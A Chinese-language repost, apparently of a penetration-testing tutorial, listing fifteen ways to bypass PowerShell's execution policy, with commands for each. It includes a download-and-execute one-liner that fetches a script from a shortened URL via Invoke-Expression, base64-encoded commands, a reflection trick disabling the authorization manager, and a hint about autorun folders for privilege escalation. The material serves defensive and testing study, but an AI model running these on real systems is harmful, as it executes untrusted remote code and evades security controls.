标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3218]   作者: 小螺号 发表于: [2022-11-17]

本文共 [263] 位读者顶过

绕过 PowerShell 执行策略

1. 将脚本粘贴到交互式 PowerShell 控制台

将你的 PowerShell 脚本复制并粘贴到交互式控制台中,如下所示。但是,请记住,你将受到当前用户权限的限制。这是最基本的示例,当你拥有交互式控制台时,可以方便地运行快速脚本。此外,此技术不会导致配置更改或需要写入磁盘。 [出自:jiwo.org]

2. 回显脚本并将其通过管道传输到 PowerShell Standard In

只需将你的脚本回显到 PowerShell 标准输入中。此技术不会导致配置更改或需要写入磁盘。

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

3. 从文件中读取脚本并通过管道传输到 PowerShell Standard In

使用 Windows"type"命令或 PowerShell"Get-Content"命令从磁盘读取脚本并将其通过管道传输到 PowerShell 标准输入。此技术不会导致配置更改,但需要将脚本写入磁盘。但是,如果你试图避免写入磁盘,则可以从网络共享中读取它。

示例 1:Get-Content PowerShell 命令

Get-Content .runme.ps1 | PowerShell.exe -noprofile -

示例 2:键入命令

TYPE .runme.ps1 | PowerShell.exe -noprofile -

4. 从 URL 下载脚本并使用 Invoke Expression 执行

此技术可用于从 Internet 下载 PowerShell 脚本并执行它,而无需写入磁盘。它也不会导致任何配置更改。我已经看到它以许多创造性的方式使用,但最近看到它在 Matt Graeber 的一个不错的 PowerSploit 博客中被引用。

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"

5.使用命令开关

这种技术与通过复制和粘贴执行脚本非常相似,但它可以在没有交互式控制台的情况下完成。这对于简单的脚本执行来说很好,但更复杂的脚本通常会以解析错误告终。此技术不会导致配置更改或需要写入磁盘。

示例 1:完整命令

Powershell -command "Write-Host 'My voice is my passport, verify me.'"

示例 2:短命令

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

可能还值得注意的是,你可以将这些类型的 PowerShell 命令放入批处理文件中,并将它们放入自动运行位置(如所有用户启动文件夹)以帮助提升权限。

6.使用EncodeCommand开关

这与"命令"开关非常相似,但所有脚本均以 Unicode/base64 编码字符串形式提供。以这种方式编码你的脚本有助于避免你在使用"命令"开关时遇到的所有那些令人讨厌的解析错误。此技术不会导致配置更改或需要写入磁盘。下面的示例取自 Posh-SecMod。相同的工具包包括一个很好的小压缩方法,用于在编码命令开始变得太长时减少它们的大小。

示例 1:完整命令

$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

*示例 2:*使用编码字符串的短命令

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7.使用Invoke-Command命令

这是我在 Obscuresec 博客上遇到的一个有趣的选项。它通常通过交互式 PowerShell 控制台或使用"命令"开关的一个衬里执行,但很酷的是,它可用于对已启用 PowerShell 远程处理的远程系统执行命令。此技术不会导致配置更改或需要写入磁盘。

invoke-command -scriptblock { Write-Host "我的声音就是我的护照,验证我。" }

基于 Obscuresec 博客,下面的命令也可用于从远程计算机获取执行策略并将其应用于本地计算机。

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8.使用调用表达式命令

这是另一个通常通过交互式 PowerShell 控制台或使用"命令"开关的衬里执行的命令。此技术不会导致配置更改或需要写入磁盘。下面我列出了一些使用 Invoke-Expression 绕过执行策略的常用方法。

示例 1:使用 Get-Content 的完整命令

Get-Content .runme.ps1 | Invoke-Expression

示例 2:使用 Get-Content 的短命令

GC .runme.ps1 | iex

9.使用"绕过"执行策略标志

这是 Microsoft 添加的一个很好的标志,当你从文件执行脚本时,它将绕过执行策略。使用此标志时,Microsoft 声明"没有任何内容被阻止,也没有警告或提示"。此技术不会导致配置更改或需要写入磁盘。

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1

10.使用"不受限制"的执行策略标志

这类似于"旁路"标志。但是,当使用此标志时,Microsoft 声明它"加载所有配置文件并运行所有脚本。如果你运行从 Internet 下载的未签名脚本,系统会在运行前提示你获得许可。" 此技术不会导致配置更改或需要写入磁盘。

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1

11.使用"远程签名"执行策略标志

创建你的脚本,然后按照Carlos Perez 编写的教程进行签名。最后,使用以下命令运行它:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. 通过换出 AuthorizationManager 来禁用 ExecutionPolicy

以下功能可以通过交互式 PowerShell 控制台或使用"命令"开关执行。调用该函数后,它将用 null 换出"AuthorizationManager"。因此,对于会话的剩余部分,执行策略基本上设置为不受限制。此技术不会导致持久的配置更改或需要写入磁盘。但是,更改将在会话期间应用。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}  Disable-ExecutionPolicy  .runme.ps1

13.为流程范围设置ExcutionPolicy

正如我们在简介中看到的,执行策略可以应用于多个级别。这包括你可以控制的过程。使用这种技术,可以在会话期间将执行策略设置为不受限制。此外,它不会导致配置更改,也不需要写入磁盘。我最初是在r007break 博客上发现这种技术的。

Set-ExecutionPolicy Bypass -Scope Process

14.通过命令为CurrentUser Scope设置ExcutionPolicy

此选项类似于进程范围,但通过修改注册表项将设置永久应用于当前用户的环境。此外,它不会导致配置更改,也不需要写入磁盘。我最初是在r007break 博客上发现这种技术的。

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

15. 通过注册表为 CurrentUser 范围设置 ExcutionPolicy

在此示例中,我展示了如何通过直接修改注册表项来持久更改当前用户环境的执行策略。

HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

来源:https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/

评论

暂无
发表评论
 返回顶部 
热度(263)
 关注微信